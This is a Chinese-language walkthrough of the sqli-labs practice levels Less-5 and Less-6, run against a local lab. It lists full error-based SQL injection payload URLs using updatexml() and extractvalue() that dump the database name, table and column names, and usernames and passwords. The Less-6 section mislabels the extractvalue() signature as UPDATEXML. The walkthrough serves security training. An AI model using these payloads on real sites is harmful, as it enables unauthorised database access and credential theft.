打穿sqli-labs靶场第四天(less5,less-6)手工报错盲注
启动靶场环境
less-5
浏览器访问靶场,选择第五关
根据关卡提示,此关参数类型是字符型,使用单引号过滤
进入靶场,根据页面提示传参
http://127.0.0.1/sqli-labs-master/Less-5/?id=1
测试注入点是否存在
http://127.0.0.1/sqli-labs-master/Less-5/?id='
分析页面报错信息,得知此处使用单引号过滤参数值
尝试闭合单引号并进一步测试注入点
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and 1=1 --+ //页面回显正常
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and 1=2 --+ //页面回显错误
确定注入点存在,爆破字段长度
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' order by 3 --+
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' order by 4 --+
根据页面回显确定字段长度为3
获取报错字段,但是回车后发现页面并没有回显数字(报错字段数),猜测此处属于无回显盲注
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and 1=2 union select 1,2,3 --+
对于此关卡我们使用报错盲注的方法进行注入获取网站信息,使用的函数是updatexml:
UPDATEXML (XML_document, XPath_string, new_value) //此函数有三个参数,所以在使用时要传入三个参数
使用此函数查询数据库和连接数据库用户信息
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
concat():能够将传入的值连接起来并返回
0x7e:符号"~"
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1) --+
查询数据库security下的所有表名,这里我们要了解一下updatexml()函数的特性:一次只能返回一个值
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()),0x7e),1) --+
所以在这里使用limit 0,1(第一个0代表索引,第二个1表示返回一个值)限制他一次返回一个值
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) --+
第一个值为:emails
按照这样的方式不停的修改limit 的索引值,查询数据库下的所有表名
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x7e),1) --+
这里为了节省篇幅,直接查询出users表(limit 3,1)
查询目标表(users)下的所有列名
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e),1) --+
修改limit 的索引值,查询出所有的列名
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 4,1),0x7e),1) --+
limit 4,1,查询出username列
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 5,1),0x7e),1) --+
limit 5,1 查询出password列
查询username和password列下的所有字段值数据(节省篇幅,直接查询username和password列)
username列
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1) --+
password列
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select password from users limit 0,1),0x7e),1) --+
less-6
浏览器访问靶场,选择第六关
根据关卡提示,此关参数类型为字符型,使用双引号过滤参数值
进入靶场,根据页面提示传入参数
http://127.0.0.1/sqli-labs-master/Less-6/?id=1
测试注入点是否存在,根据页面提示直接使用双引号进行测试
http://127.0.0.1/sqli-labs-master/Less-6/?id="
页面成功回显报错信息,证明SQL语句成功带入数据库执行,没有被过滤。根据页面回显报错信息,得知此处使用双引号过滤参数值。
尝试闭合符号并进一步测试注入点
http://127.0.0.1/sqli-labs-master/Less-6/?id=1" and 1=1 --+ //页面回显正常
http://127.0.0.1/sqli-labs-master/Less-6/?id=1" and 1=2 --+ //页面回显错误
爆破字段长度,根据页面回显获取字段长度为3
http://127.0.0.1/sqli-labs-master/Less-6/?id=1" order by 3 --+
http://127.0.0.1/sqli-labs-master/Less-6/?id=1" order by 4 --+
获取报错字段数
http://127.0.0.1/sqli-labs-master/Less-6/?id=1" and 1=2 union select 1,2,3 --+
页面回显正常,没有回显报错字段数,使用报错盲注的方式进行注入获取网站信息
使用函数extractvalue():
UPDATEXML (XML_document, XPath_string, new_value) //此函数需要两个参数
获取数据库名和连接数据库用户信息
http://127.0.0.1/sqli-labs-master/Less-6/?id=1" and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+
http://127.0.0.1/sqli-labs-master/Less-6/?id=1" and extractvalue(1,concat(0x7e,(select user()),0x7e)) --+
查询数据库security下的所有表名,extractvalue()函数依旧一次只能返回一个值
http://127.0.0.1/sqli-labs-master/Less-6/?id=1" and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()),0x7e)) --+
这里我们仍使用limit 限制返回值个数,查询索引值为3的表名
http://127.0.0.1/sqli-labs-master/Less-6/?id=1" and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x7e)) --+
查询users表下的索引值为4的列名(username)
http://127.0.0.1/sqli-labs-master/Less-6/?id=1" and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 4,1),0x7e)) --+
查询users表下的索引值为5的列名(password)
查询username和password列下的字段值数据
http://127.0.0.1/sqli-labs-master/Less-6/?id=1" and extractvalue(1,concat(0x7e,(select username from users limit 0,1),0x7e)) --+
http://127.0.0.1/sqli-labs-master/Less-6/?id=1" and extractvalue(1,concat(0x7e,(select password from users limit 0,1),0x7e)) --+
总结
less-5和less-6都属于无回显的情况,所以我们使用盲注来获取网站数据库信息,同时我们也要对参数的类型进行确定,保证构造的SQL语句能够成功执行。